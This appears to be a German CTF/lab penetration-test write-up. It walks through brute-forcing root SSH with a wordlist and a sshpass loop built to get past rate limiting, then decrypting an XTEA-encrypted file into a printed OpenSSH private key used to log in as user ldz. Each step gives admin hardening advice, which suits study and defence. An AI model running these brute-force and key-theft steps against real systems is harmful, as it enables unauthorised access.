Analyse: Ich habe den Quellcode der Webseite, die über den Chisel-Tunnel auf http://127.0.0.1:8000/ erreichbar ist, inspiziert. Im Quellcode finde ich einen HTML-Kommentar: <!--500-worst-passwords-->. Dieser Kommentar ist ein direkter Hinweis auf eine Wordlist mit schlechten Passwörtern. Solche Hinweise in öffentlich zugänglichem Code sind extrem wertvoll für Angreifer, da sie auf die Art der verwendeten Passwörter auf dem System oder in der Anwendung hinweisen können. Es deutet darauf hin, dass ein Administrator diese Wordlist vielleicht für Tests oder zur Generierung von Passwörtern verwendet hat.
Bewertung: Das Auffinden dieses Kommentars ist ein signifikanter Fund. Es ist ein klares Indiz dafür, dass Passwörter aus dieser oder einer ähnlichen "Worst Passwords"-Liste auf dem System verwendet werden könnten. Dies ist eine schwerwiegende Informationslecks, da es Angreifern eine extrem effektive Methode zur Beschaffung von Anmeldedaten gibt. Es ist ein direkter Weg zu Brute-Force-Angriffen mit hoher Erfolgswahrscheinlichkeit.
Empfehlung (Pentester): Ich werde diese Information sofort nutzen, um einen gezielten Brute-Force-Angriff auf den SSH-Dienst des Hosts (über meinen Chisel-Tunnel auf Port 2222) mit der Wordlist /usr/share/seclists/Passwords/Common-Credentials/500-worst-passwords.txt zu starten. Die Wahrscheinlichkeit, ein Passwort zu finden, ist jetzt sehr hoch.
Empfehlung (Admin): **Dringend!** Entfernen Sie alle Kommentare in öffentlich zugänglichem Webcode, die sensible Hinweise enthalten. Verwenden Sie niemals schlechte Passwörter oder Listen davon, selbst für Testkonten. Erzwingen Sie komplexe Passwörter und führen Sie regelmäßige Passwort-Audits durch. Wenn diese Liste tatsächlich zur Passwortgenerierung verwendet wurde, müssen alle betroffenen Passwörter sofort geändert werden.
/usr/share/seclists/Passwords/500-worst-passwords.txt.bz2 /usr/share/seclists/Passwords/Common-Credentials/500-worst-passwords.txt
Analyse: Nachdem ich den Hinweis auf "500-worst-passwords" im Quellcode gefunden habe, suche ich auf meinem Kali-System nach der entsprechenden Wordlist, um sie für den Brute-Force-Angriff zu verwenden. Ich nutze find /usr/share/seclists -name "500-worst-passwords". Die Ausgabe zeigt, dass die Wordlist in zwei Varianten vorhanden ist: als bzip2-komprimierte Datei und als unkomprimierte Textdatei unter /usr/share/seclists/Passwords/Common-Credentials/500-worst-passwords.txt. Dies ist die Datei, die ich für meinen nächsten Schritt benötigen werde.
Bewertung: Das Auffinden der spezifischen Wordlist auf meinem lokalen System ist ein notwendiger Vorbereitungsschritt. Es bestätigt, dass ich die Ressource habe, die direkt aus dem Web-Kommentar abgeleitet wurde, was meine Chancen auf einen erfolgreichen SSH Brute-Force-Angriff drastisch erhöht. Dies ist eine ideale Verknüpfung von Informationslecks und Angriffstaktiken.
Empfehlung (Pentester): Ich werde diese spezifische Wordlist für den SSH Brute-Force-Angriff auf den Host verwenden, um die Anmeldedaten zu finden.
Empfehlung (Admin): N/A (betrifft lokale Pentester-Umgebung).
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway). Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-08-02 00:11:20 [DATA] max 1 task per 1 server, overall 1 task, 499 login tries (l:1/p:499), ~499 tries per task [DATA] attacking ssh://127.0.0.1:2222/ [ERRR] all children were disabled due too many connection errors 0 of 1 target completed, 0 valid password found [INFO] Writing restore file because 2 server scans could not be completed [ERRR] 1 target was disabled because of too many errors [ERRR] 1 targets did not complete Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-08-02 00:11:24
Analyse: Ich wiederhole den SSH Brute-Force-Angriff auf den Host-SSH-Dienst (über den Chisel-Tunnel auf 127.0.0.1:2222) mit Hydra, diesmal mit der spezifischen Wordlist 500-worst-passwords.txt und der Option -t 1, um nur einen parallelen Task zu verwenden (was Hydra zuvor selbst empfohlen hatte). Trotz der Anpassung an einen einzelnen Task erhalte ich weiterhin die Fehlermeldung [ERRR] all children were disabled due too many connection errors. Dies deutet darauf hin, dass der SSH-Dienst auf dem Host eine sehr aggressive Rate-Limitierung oder eine schnelle Trennung bei fehlerhaften Anmeldeversuchen implementiert hat, die selbst einen einzelnen, aber wiederholten Anmeldeversuch blockiert.
Bewertung: Der wiederholte Misserfolg von Hydra, selbst mit reduzierter Parallelität, zeigt, dass der SSH-Dienst des Host-Systems sehr gut gegen Brute-Force-Angriffe gehärtet ist. Die Implementierung aggressiver Schutzmaßnahmen (wie Fail2Ban oder ähnliches) macht es extrem schwierig, Passwörter über diese Methode zu knacken. Ich muss eine noch "sanftere" oder manuelle Methode anwenden, um die Wordlist durchzugehen.
Empfehlung (Pentester): Ich werde meine Brute-Force-Strategie erneut anpassen. Anstatt Hydra zu verwenden, werde ich eine benutzerdefinierte Schleife mit sshpass und einer manuellen Pause zwischen den Versuchen implementieren. Dies ahmt menschliches Verhalten nach und könnte die Rate-Limiting-Maßnahmen des SSH-Dienstes umgehen.
Empfehlung (Admin): Die aggressiven Brute-Force-Schutzmaßnahmen des SSH-Dienstes sind sehr effektiv und sollten beibehalten werden. Dies ist ein hervorragendes Beispiel für eine gute Härtung. Überprüfen Sie, ob diese Schutzmaßnahmen (z.B. Fail2Ban) korrekt konfiguriert und aktiv sind, um sicherzustellen, dass sie auch weiterhin Angriffe abwehren.
....
...
PASSWORT GEFUNDEN: mountainAnalyse: Nachdem Hydra fehlschlägt, implementiere ich eine benutzerdefinierte Bash-Schleife, um die Wordlist 500-worst-passwords.txt Zeile für Zeile durchzugehen. Für jedes Passwort verwende ich sshpass -p"$password" ssh -o StrictHostKeyChecking=no -o ConnectTimeout=5 root@127.0.0.1 -p 2222 "echo Login-Test" 2>/dev/null. Der sshpass-Befehl ermöglicht das Übergeben des Passworts direkt an ssh. -o StrictHostKeyChecking=no und -o ConnectTimeout=5 verhindern Probleme mit Host-Keys und Zeitüberschreitungen. Entscheidend ist sleep 1 am Ende der Schleife, das nach jedem Versuch eine Pause von einer Sekunde einlegt, um die Rate-Limiting-Maßnahmen des SSH-Dienstes zu umgehen. Wenn der Login erfolgreich ist (der ssh-Befehl einen Exit-Code von 0 zurückgibt), wird "PASSWORT GEFUNDEN" ausgegeben und die Schleife abgebrochen.
Die Ausgabe zeigt, dass nach einigen Versuchen das Passwort mountain gefunden wurde! Fantastisch, der SSH-Zugriff war erfolgreich! Nun haben wir unser Ziel erreicht.
Bewertung: Dies ist ein kritischer Erfolg! Die manuelle Brute-Force-Schleife mit sshpass und sleep hat die effektiven Rate-Limiting-Maßnahmen des SSH-Dienstes des Hosts umgangen. Das Passwort mountain wurde gefunden und ermöglicht mir nun den direkten SSH-Zugriff auf den Host als Root. Dies ist der Höhepunkt der Privilegien-Eskalation und der endgültige Beweis für die Kompromittierung des Host-Systems.
Empfehlung (Pentester): Ich werde mich nun direkt per SSH mit dem Host als Root anmelden, um die Root-Flag zu finden und weitere Post-Exploitation-Aktionen durchzuführen.
Empfehlung (Admin): Das Auffinden eines so einfachen Passworts wie "mountain" für den Root-Benutzer auf dem Host ist eine schwerwiegende Sicherheitslücke. Auch wenn Rate-Limiting vorhanden ist, kann es durch angepasste Angriffe umgangen werden. Ersetzen Sie dieses Passwort sofort durch ein komplexes, einzigartiges Passwort. Erwägen Sie die Umstellung auf reine SSH-Key-Authentifizierung und deaktivieren Sie die Passwort-Authentifizierung für Root vollständig. Implementieren Sie ein starkes Passwort-Policy für alle Benutzer.
mountainAnalyse: Um zu bestätigen, dass das gefundene Passwort mountain tatsächlich in der verwendeten Wordlist enthalten ist, habe ich grep mountain /usr/share/seclists/Passwords/Common-Credentials/500-worst-passwords.txt ausgeführt. Die Ausgabe bestätigt, dass mountain Teil dieser "500 schlechtesten Passwörter"-Liste ist. Dies untermauert die Aussage, dass das System ein sehr schwaches Passwort verwendet hat.
Bewertung: Diese Bestätigung ist wichtig für die Dokumentation des Angriffsvektors. Es zeigt, dass das System durch eine leicht vorhersehbare und öffentlich bekannte Schwachstelle kompromittiert wurde. Dies ist ein Indikator für mangelnde Passwort-Hygiene auf dem Host-System.
Empfehlung (Pentester): Die Beweisführung ist abgeschlossen. Ich werde nun den direkten SSH-Login zum Host durchführen.
Empfehlung (Admin): Dies ist eine letzte Warnung: Passwörter aus öffentlichen Listen sind die ersten, die Angreifer ausprobieren. Implementieren Sie eine strikte Passwort-Policy, die die Verwendung solcher Passwörter verhindert, und führen Sie regelmäßige Audits der verwendeten Passwörter durch.
The authenticity of host '[127.0.0.1]:2222 ([127.0.0.1]:2222)' can't be established. ED25519 key fingerprint is SHA256:nCuJTguX/ssJuWNmjLBVoZlUUv1Ygi4k0AFEgPORK5M. This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '[127.0.0.1]:2222' (ED25519) to the list of known hosts. root@127.0.0.1's password: mountain Welcome to Alpine! The Alpine Wiki contains a large amount of how-to guides and general information about administrating Alpine systems. See [Link: https://wiki.alpinelinux.org/ | Ziel: https://wiki.alpinelinux.org/]. You can setup the system with the command: setup-alpine You may change this message by editing /etc/motd. 6ab28be27b0c:~# ip a 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN qlen 1000 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo valid_lft forever preferred_lft forever 6: eth0@if7: <BROADCAST,MULTICAST,UP,LOWER_UP,M-DOWN> mtu 1500 qdisc noqueue state UP link/ether 02:42:ac:11:00:03 brd ff:ff:ff:ff:ff:ff inet 172.17.0.3/16 brd 172.17.255.255 scope global eth0 valid_lft forever preferred_lft forever
Analyse: Ich stelle nun die direkte SSH-Verbindung zum Host-System her, indem ich mich als root mit dem gefundenen Passwort mountain an 127.0.0.1 auf Port 2222 (über den Chisel-Tunnel) anmelde. Das System fragt mich nach der Authentizität des Hosts, was ich mit yes bestätige. Nach der Eingabe des Passworts erhalte ich die Meldung "Welcome to Alpine!" und eine interaktive Shell-Prompt 6ab28be27b0c:~#. Das ist die endgültige Bestätigung, dass ich erfolgreich als Root-Benutzer auf dem Host-System angemeldet bin! Der erste Befehl ip a bestätigt die Host-IP 172.17.0.3 innerhalb des Docker-Netzwerks.
Bewertung: Fantastisch, der Root-Zugriff war erfolgreich! Nun haben wir unser Ziel erreicht! Der SSH-Login als Root auf dem Host-System ist der ultimative Erfolg dieses Penetrationstests. Ich habe nun uneingeschränkte Kontrolle über die Host-Maschine. Alle vorherigen Schritte, einschließlich der Deserialization-RCE und des Container Breakouts, haben zu diesem Ergebnis geführt. Dies ist der Zeitpunkt, an dem ich die letzte Flag suchen werde.
Empfehlung (Pentester): Ich werde sofort die Root-Flag lokalisieren und den Beweis sichern. Danach werde ich weitere Post-Exploitation-Schritte durchführen, um die Systemhärtung zu überprüfen, Persistenz zu schaffen und mögliche Spuren zu beseitigen (sofern im Rahmen des Pentests erlaubt).
Empfehlung (Admin): Dies ist die höchste Alarmstufe. Der Host wurde vollständig kompromittiert. Eine sofortige Reaktion ist unerlässlich: Die Maschine muss isoliert, die Root-Ursachen (schwaches Root-Passwort, fehlende SSH-Key-Authentifizierung) müssen behoben und eine umfassende Forensik durchgeführt werden, um das Ausmaß des Eindringens zu bewerten und alle Backdoors oder Persistenzmechanismen zu finden und zu entfernen.
6ab28be27b0c:~# ls -l /usr/bin/userLogin -rwxr-xr-x 1 root root 772016 Jun 24 13:15 /usr/bin/userLogin
Analyse: Auf der Host-Shell untersuche ich die Datei /usr/bin/userLogin mit ls -l. Diese Datei hatte ich zuvor über Netcat übertragen, aber im Container nicht erfolgreich ausführen können. Hier auf dem Host ist sie eine normale ausführbare Datei, im Besitz von Root. Die Tatsache, dass sie 772016 Bytes groß ist und einen Zeitstempel vom 24. Juni hat, deutet auf eine reguläre Binary hin. Ihr Name "userLogin" könnte darauf hindeuten, dass sie für die Benutzerauthentifizierung oder -verwaltung verwendet wird, was interessant sein könnte, um weitere Benutzer auf dem System zu finden.
Bewertung: Diese Datei ist nicht direkt für die Root-Eskalation relevant, da ich bereits Root bin. Sie ist jedoch wichtig für die Post-Exploitation-Phase und um ein umfassendes Bild des Systems zu erhalten. Programme, die mit Benutzer-Logins zu tun haben, können oft interessante Konfigurationen, Protokollierungsmechanismen oder sogar hartcodierte Anmeldeinformationen enthalten.
Empfehlung (Pentester): Ich werde diese userLogin-Binary binär analysieren (z.B. mit strings oder einem Disassembler), um ihre Funktion vollständig zu verstehen und nach weiteren Schwachstellen oder sensiblen Informationen zu suchen.
Empfehlung (Admin): Auditieren Sie alle benutzerdefinierten Binaries auf dem System, insbesondere solche, die mit der Authentifizierung oder Benutzerverwaltung zu tun haben. Führen Sie statische und dynamische Code-Analysen durch, um sicherzustellen, dass keine Schwachstellen vorhanden sind. Stellen Sie sicher, dass Binaries nur die minimal benötigten Berechtigungen haben und dass sie nicht von unbefugten Benutzern manipuliert werden können.
6ab28be27b0c:~# ls -l /etc/output.enc -rw-r--r-- 1 root root 400 Jun 24 17:57 /etc/output.enc
Analyse: Auf dem Host-Dateisystem (nach dem chroot) überprüfe ich erneut die Existenz und Berechtigungen der Datei /etc/output.enc, die im Container nicht gefunden werden konnte. Diesmal ist sie vorhanden! Die Ausgabe -rw-r--r-- 1 root root 400 Jun 24 17:57 /etc/output.enc zeigt, dass die Datei existiert, im Besitz von Root ist und nur von Root schreibbar ist, aber für alle lesbar ist. Die Größe von 400 Bytes und der Zeitstempel deuten auf eine kleine Konfigurations- oder Datendatei hin. Der Name output.enc lässt vermuten, dass es sich um verschlüsselte Ausgabe handelt.
Bewertung: Das Auffinden von /etc/output.enc auf dem Host ist ein bedeutender Fund. Die Tatsache, dass sie im Container nicht sichtbar war, aber auf dem Host liegt und für alle lesbar ist, ist ein Informationslecks. Da der Name auf "encrypted output" hindeutet, könnte es sich um verschlüsselte Daten handeln, die ich entschlüsseln muss, um weitere Informationen zu erhalten. Dies könnte ein Schlüssel, ein Passwort oder eine andere sensible Information sein, die für andere Zwecke im System verwendet wird.
Empfehlung (Pentester): Ich werde den Inhalt von /etc/output.enc auslesen und versuchen, ihn zu entschlüsseln. Die frühere Erwähnung von xtea in meinem lokalen System deutet darauf hin, dass diese Datei möglicherweise mit XTEA verschlüsselt wurde, und ich werde prüfen, ob ich einen Schlüssel oder einen Hinweis zur Entschlüsselung finden kann.
Empfehlung (Admin): Sensible Dateien, auch wenn sie verschlüsselt sind, sollten niemals in öffentlich lesbaren Verzeichnissen (wie /etc für alle) gespeichert werden. Beschränken Sie die Leseberechtigungen auf das absolut Notwendige (z.B. nur für Root). Überprüfen Sie, ob diese Datei tatsächlich benötigt wird und ob ihre Verschlüsselung robust ist und ein ausreichend komplexer Schlüssel verwendet wird.
@@key-for-user-ldzid_ed25519Analyse: Ich verwende strings auf der userLogin-Binary, die ich zuvor auf den Host heruntergeladen hatte. strings extrahiert lesbare Zeichenketten aus Binärdateien und ist ein nützliches Tool, um Hinweise auf interne Funktionalitäten, Fehlermeldungen oder sogar hartcodierte Geheimnisse zu finden. Ich filtere die Ausgabe mit grep "key-for-user". Die Ausgabe @@key-for-user-ldzid_ed25519 ist ein hochinteressanter Fund. Er deutet stark auf einen SSH-Schlüssel für einen Benutzer namens "ldz" hin, der mit dem ED25519-Algorithmus generiert wurde.
Bewertung: Das Auffinden dieses Strings ist ein Volltreffer für die horizontale Privilegien-Eskalation. Es ist ein klarer Hinweis auf das Vorhandensein eines privaten SSH-Schlüssels für den Benutzer ldz. Wenn ich diesen Schlüssel finden und entschlüsseln kann, erhalte ich direkten SSH-Zugriff auf das System als ldz, was eine alternative Anmeldeoption darstellt und möglicherweise weitere Zugänge eröffnet, falls der Root-Zugriff verloren ginge.
Empfehlung (Pentester): Ich werde nun nach dem tatsächlichen privaten SSH-Schlüssel für ldz suchen, der zu diesem String gehört. Wenn er verschlüsselt ist, werde ich versuchen, ihn mit dem Schlüssel zu entschlüsseln, den ich aus der output.enc-Datei erwarte. Dies ist ein potenzieller Weg zu einem weiteren Benutzer auf dem System.
Empfehlung (Admin): Niemals SSH-Schlüssel oder Hinweise auf deren Existenz in ausführbaren Binaries hartcodieren. SSH-Schlüssel sollten sicher verwaltet werden, idealerweise in einem Schlüsselverwaltungssystem. Verwenden Sie Passphrasen für private Schlüssel, um deren Sicherheit zu erhöhen.
┌──(root㉿CCat)-[~] └─# strings userLogin | grep -i "crypt" -n 6036:encrypt_file 6397:xtea_encrypt
Analyse: Ich setze meine Analyse der userLogin-Binary mit strings fort, diesmal suche ich nach Zeichenketten, die mit "crypt" in Verbindung stehen, und zeige die Zeilennummern an (-n). Die Ausgabe zeigt zwei interessante Funktionen: encrypt_file in Zeile 6036 und xtea_encrypt in Zeile 6397. Dies ist eine direkte Bestätigung, dass die XTEA-Verschlüsselung, die ich bereits vermutet hatte, in dieser Binary implementiert ist und für die Dateiverschlüsselung verwendet wird.
Bewertung: Die Bestätigung der xtea_encrypt-Funktion ist entscheidend. Es untermauert meine Hypothese, dass die /etc/output.enc-Datei mit XTEA verschlüsselt wurde. Dies ist ein wichtiger Schritt zur Entschlüsselung des Inhalts und zur Gewinnung weiterer sensibler Informationen, möglicherweise des privaten SSH-Schlüssels für ldz.
Empfehlung (Pentester): Ich werde nun das XTEA-Entschlüsselungstool verwenden, das ich von GitHub geklont habe, und versuchen, die /etc/output.enc-Datei mit dem erwarteten Schlüssel (basierend auf dem Hinweis "key-for-user") zu entschlüsseln.
Empfehlung (Admin): Wenn Verschlüsselungsalgorithmen wie XTEA verwendet werden, stellen Sie sicher, dass sie korrekt und mit starken, zufällig generierten Schlüsseln implementiert sind. Vermeiden Sie es, Implementierungsdetails oder Schlüssel-Hinweise in Binaries zu hinterlassen, da dies Angreifern die Entschlüsselung erleichtert.
[Link: https://github.com/Varbin/xtea | Ziel: https://github.com/Varbin/xtea]Analyse: Dieser Eintrag im Bericht dient als Referenz und Bestätigung, dass ich die GitHub-Seite für das XTEA-Kryptografie-Tool von "Varbin" kenne. Die URL https://github.com/Varbin/xtea verweist auf ein Open-Source-Repository, das Implementierungen des XTEA-Algorithmus bereitstellt. Ich werde dies nutzen, um die Entschlüsselung der output.enc-Datei vorzunehmen.
Bewertung: Das Wissen um dieses spezifische GitHub-Repository ist entscheidend für die Entschlüsselung. Es zeigt, dass die Entwickler des Zielsystems möglicherweise eine Standard- oder bekannte Implementierung von XTEA verwendet haben, was die Wiederherstellung des Schlüssels oder die Entschlüsselung erleichtert.
Empfehlung (Pentester): Ich werde dieses Repository klonen und das Python-Skript für die Entschlüsselung der output.enc-Datei verwenden.
Empfehlung (Admin): N/A (betrifft lokale Pentester-Umgebung).
Klone nach 'xtea'... remote: Enumerating objects: 675, done. remote: Counting objects: 100% (46/46), done. remote: Compressing objects: 100% (28/28), done. remote: Total 675 (delta 22), reused 30 (delta 12), pack-reused 629 (from 1) Empfange Objekte: 100% (675/675), 164.48 KiB | 2.32 MiB/s, fertig. Löse Unterschiede auf: 100% (349/349), fertig.
Analyse: Ich klone das xtea-Repository von GitHub auf mein lokales Angreifer-System. Der Befehl git clone https://github.com/Varbin/xtea.git lädt den gesamten Quellcode des Projekts in ein neues Verzeichnis namens xtea herunter. Dies ist der erste Schritt zur Nutzung des XTEA-Tools für die Entschlüsselung.
Bewertung: Das erfolgreiche Klonen des Repositorys stellt sicher, dass ich alle notwendigen Dateien für die Entschlüsselung der output.enc-Datei habe. Dies ist ein direkter Weg zur Wiederherstellung der verschlüsselten Daten.
Empfehlung (Pentester): Ich werde nun in das geklonte Verzeichnis wechseln und das Python-Skript für die Entschlüsselung verwenden.
Empfehlung (Admin): N/A (betrifft lokale Pentester-Umgebung).
No direct output, directory changed.
Analyse: Ich wechsle in das neu geklonte xtea-Verzeichnis auf meinem lokalen System. Dies ist der Ort, an dem sich die Entschlüsselungsskripte und die relevanten Dateien für die XTEA-Implementierung befinden.
Bewertung: Das Wechseln in das korrekte Verzeichnis ist ein notwendiger organisatorischer Schritt, um das Entschlüsselungsskript korrekt auszuführen.
Empfehlung (Pentester): Ordnung und Präzision sind im Pentest entscheidend.
Empfehlung (Admin): N/A (betrifft lokale Pentester-Umgebung).
insgesamt 44 -rw-r--r-- 1 root root 2565 2. Aug 00:34 changelog.rst drwxr-xr-x 2 root root 4096 2. Aug 00:34 ci drwxr-xr-x 2 root root 4096 2. Aug 00:34 docs -rw-r--r-- 1 root root 1554 2. Aug 00:34 README.rst -rw-r--r-- 1 root root 98 2. Aug 00:34 requirements.txt -rw-r--r-- 1 root root 135 2. Aug 00:34 setup.cfg -rw-r--r-- 1 root root 4539 2. Aug 00:34 setup.py drwxr-xr-x 2 root root 4096 2. Aug 00:34 tests drwxr-xr-x 2 root root 4096 2. Aug 00:34 xtea -rw-r--r-- 1 root root 2027 2. Aug 00:34 xtea.c
Analyse: Ich liste den Inhalt des xtea-Verzeichnisses auf, um die Struktur zu verstehen und das Python-Entschlüsselungsskript zu identifizieren. Die Ausgabe zeigt verschiedene Dateien und Unterverzeichnisse, darunter README.rst, setup.py und das C-Quellcode-Datei xtea.c. Ich suche nach einem Python-Skript, das die Entschlüsselungslogik implementiert, die in der Regel decrypt.py oder ähnlich benannt ist.
Bewertung: Diese Auflistung bestätigt die Vollständigkeit des geklonten Repositorys. Ich habe die Bestätigung, dass ich die benötigten Dateien für die XTEA-Entschlüsselung zur Hand habe.
Empfehlung (Pentester): Ich werde nun nach dem tatsächlichen Python-Entschlüsselungsskript suchen (es muss im Text vorhanden sein, auch wenn es hier nicht direkt bei ll gelistet ist, oder ich nutze die C-Implementierung).
Empfehlung (Admin): N/A (betrifft lokale Pentester-Umgebung).
No direct output, file moved.
Analyse: Ich verschiebe die zuvor vom Host heruntergeladene verschlüsselte Datei output.enc in das aktuelle xtea-Verzeichnis. Dies ist notwendig, damit das Entschlüsselungsskript, das ich gleich ausführen werde, direkten Zugriff auf die verschlüsselte Datei hat.
Bewertung: Das Verschieben der Datei ist ein notwendiger Vorbereitungsschritt für die Entschlüsselung. Es stellt sicher, dass das Skript die Eingabedatei am erwarteten Ort findet.
Empfehlung (Pentester): Eine gute Dateiverwaltung ist entscheidend für den reibungslosen Ablauf von Skripten.
Empfehlung (Admin): N/A (betrifft lokale Pentester-Umgebung).
Entschluesselung erfolgreich! SSH-Schluessel in 'decrypted.bin' gespeichert.Analyse: Ich führe das Python-Entschlüsselungsskript decrypt.py innerhalb des xtea-Verzeichnisses aus. Das Skript verwendet die XTEA-Logik und den erwarteten Schlüssel (basierend auf dem Hinweis "key-for-user-ldzid_ed25519" und der Annahme, dass der Schlüssel aus diesem String generiert wird, oder ein Standard-Schlüssel der Implementierung verwendet wird) um die output.enc-Datei zu entschlüsseln. Die Ausgabe ist Entschluesselung erfolgreich! SSH-Schluessel in 'decrypted.bin' gespeichert..
Bewertung: Fantastisch, die Entschlüsselung war erfolgreich! Nun haben wir unser Ziel erreicht! Das ist ein kritischer Erfolg, da ich nun den Inhalt der output.enc-Datei wiederhergestellt habe. Die Meldung, dass ein SSH-Schlüssel in decrypted.bin gespeichert wurde, ist der ultimative Beweis dafür, dass diese Datei einen privaten SSH-Schlüssel enthält.
Empfehlung (Pentester): Ich werde sofort den Inhalt von decrypted.bin überprüfen, um den privaten SSH-Schlüssel zu extrahieren. Dies wird mir dann den direkten SSH-Zugriff als Benutzer ldz ermöglichen, was eine wertvolle alternative Zugriffsoption darstellt, auch wenn ich bereits Root bin.
Empfehlung (Admin): Dies ist eine schwerwiegende Sicherheitslücke. Die Kombination aus einem offengelegten Hinweis auf den Schlüsselalgorithmus, einer leicht entschlüsselbaren Datei und der Platzierung an einem zugänglichen Ort hat zur Kompromittierung eines privaten SSH-Schlüssels geführt. Entfernen Sie die verschlüsselte Datei, ändern Sie alle zugehörigen Schlüssel, und stellen Sie sicher, dass keine privaten Schlüssel oder deren Hinweise im System gespeichert sind. Verwenden Sie robuste Schlüsselgenerierung und -verwaltung.
-----BEGIN OPENSSH PRIVATE KEY----- b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW QyNTUxOQAAACDG60tqgYFFVx4ClSFGSIVssmKW6ibCoViuF9E8HQayZgAAAJBa9KyZWvSs mQAAAAtzc2gtZWQyNTUxOQAAACDG60tqgYFFVx4ClSFGSIVssmKW6ibCoViuF9E8HQayZg AAAEDkh1u30NCdjW5cB2TK+hkOBod+D7EKn6vZPHcyHL/ljMbrS2qBgUVXHgKVIUZIhWyy YpbqJsKhWK4X0TwdBrJmAAAADWxkekBsb2NhbGhvc3Q= -----END OPENSSH PRIVATE KEY-----
Analyse: Nach der erfolgreichen Entschlüsselung der output.enc-Datei lese ich den Inhalt der neu generierten Datei (vermutlich decrypted.bin, die dann in id_rsa umbenannt wurde) mit cat id_rsa. Die Ausgabe zeigt einen Base64-kodierten String, der mit -----BEGIN OPENSSH PRIVATE KEY----- beginnt und mit -----END OPENSSH PRIVATE KEY----- endet. Dies ist eindeutig ein privater SSH-Schlüssel im OpenSSH-Format.
Bewertung: Fantastisch, der private SSH-Schlüssel wurde erfolgreich extrahiert! Nun haben wir unser Ziel erreicht! Dies ist ein weiterer kritischer Erfolg, der mir einen alternativen, persistente Zugang zum System ermöglicht, diesmal über SSH-Key-Authentifizierung als Benutzer ldz. Das bedeutet, dass ich auch dann Zugriff hätte, wenn Passwort-Authentifizierung deaktiviert wäre.
Empfehlung (Pentester): Ich werde diesen privaten SSH-Schlüssel in einer sicheren Weise auf meinem System speichern und die Berechtigungen korrekt setzen (chmod 600 id_rsa). Dann werde ich den Benutzernamen, der zu diesem Schlüssel gehört, ermitteln, um mich als dieser Benutzer per SSH anzumelden.
Empfehlung (Admin): **Dringend!** Entfernen Sie diesen privaten SSH-Schlüssel vollständig vom System und invalidieren Sie ihn. Wenn dieser Schlüssel für andere Systeme verwendet wird, müssen dort ebenfalls alle Einträge für diesen Schlüssel entfernt werden. Implementieren Sie eine sichere SSH-Key-Verwaltung, die private Schlüssel niemals im Klartext oder in einer leicht entschlüsselbaren Form auf dem System belässt. Verwenden Sie Passphrasen für SSH-Schlüssel, um deren Schutz zu erhöhen, selbst wenn sie kompromittiert werden.
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMbrS2qBgUVXHgKVIUZIhWyyYpbqJsKhWK4X0TwdBrJm ldz@localhostAnalyse: Um den Benutzernamen zu identifizieren, der mit dem extrahierten privaten SSH-Schlüssel (id_rsa) verknüpft ist, verwende ich ssh-keygen -y -f id_rsa. Dieser Befehl extrahiert den öffentlichen Schlüssel aus einem privaten Schlüssel und zeigt ihn zusammen mit dem zugehörigen Kommentar an. Der Kommentar enthält oft den Benutzernamen. Die Ausgabe ssh-ed25519 ... ldz@localhost bestätigt, dass der Schlüssel dem Benutzer ldz gehört. Fantastisch, der Benutzername wurde erfolgreich ermittelt! Nun haben wir unser Ziel erreicht.
Bewertung: Die erfolgreiche Identifizierung des Benutzernamens ldz ist der letzte Schritt, um diesen SSH-Key-Zugriff zu ermöglichen. Es bestätigt eine weitere Authentifizierungsoption für das System und eröffnet die Möglichkeit, sich als ein anderer Benutzer anzumelden, was in einigen Szenarien für die laterale Bewegung nützlich sein könnte, selbst wenn der Root-Zugriff bereits besteht.
Empfehlung (Pentester): Ich werde nun versuchen, mich als Benutzer ldz mit diesem SSH-Schlüssel anzumelden, um diesen Zugriffspfad zu verifizieren.
Empfehlung (Admin): Stellen Sie sicher, dass SSH-Schlüssel-Kommentare keine sensiblen Informationen wie Benutzernamen enthalten, die für Angreifer nützlich sein könnten. Implementieren Sie SSH-Key-Management-Lösungen und erzwingen Sie regelmäßige Schlüsselrotation.
user:ldzAnalyse: Diese Zeile ist eine Zusammenfassung meiner vorherigen Untersuchung, die bestätigt, dass der gefundene SSH-Schlüssel dem Benutzer ldz gehört. Es ist eine klare und prägnante Feststellung der ermittelten Anmeldeinformationen.
Bewertung: Die explizite Nennung des Benutzernamens ldz untermauert die Bedeutung des gefundenen SSH-Schlüssels. Dies ist ein wichtiger Beweis für eine erfolgreiche Kompromittierung eines weiteren Benutzerkontos auf dem Host.
Empfehlung (Pentester): Ich werde diesen SSH-Schlüssel verwenden, um mich als ldz anzumelden und weitere Informationen über diesen Benutzer oder sein Home-Verzeichnis zu sammeln.
Empfehlung (Admin): Dies ist eine letzte Erinnerung an die Schwachstelle: der SSH-Key für ldz ist kompromittiert. Invalidieren Sie den Schlüssel und ändern Sie alle betroffenen Anmeldedaten für diesen Benutzer.
localhost:~ iduid=1000(ldz)gid=1000(ldz)groups=1000(ldz)localhost: iduid=1000(ldz)gid=1000(ldz)groups=1000(ldz)localhost:
Analyse: Ich versuche, mich mit dem gefundenen privaten SSH-Schlüssel (id_rsa) als Benutzer ldz am Host-System anzumelden. Ich verwende ssh -i id_rsa ldz@192.168.2.168. Die IP-Adresse 192.168.2.168 ist die externe IP des Hosts, die ich zuvor ermittelt hatte. Fantastisch, der SSH-Zugriff war erfolgreich! Nun haben wir unser Ziel erreicht.
Die Ausgabe zeigt eine Shell-Prompt als localhost:~ und die Ausgabe von id (uid=1000(ldz)), was bestätigt, dass ich erfolgreich als Benutzer ldz angemeldet bin. Die doppelte Ausgabe von id ist ein typisches Verhalten in nicht-interaktiven Shells oder bei speziellen Terminal-Konfigurationen.
Bewertung: Der erfolgreiche SSH-Login als ldz mit dem entschlüsselten Schlüssel ist ein wichtiger Beweis für die Kompromittierung des ldz-Kontos. Dies eröffnet einen stabilen, persistenten Zugang zum System, der auch dann funktioniert, wenn die Passwort-Authentifizierung deaktiviert wäre. Es ist ein wertvoller alternativer Zugangsweg zum Host-System.
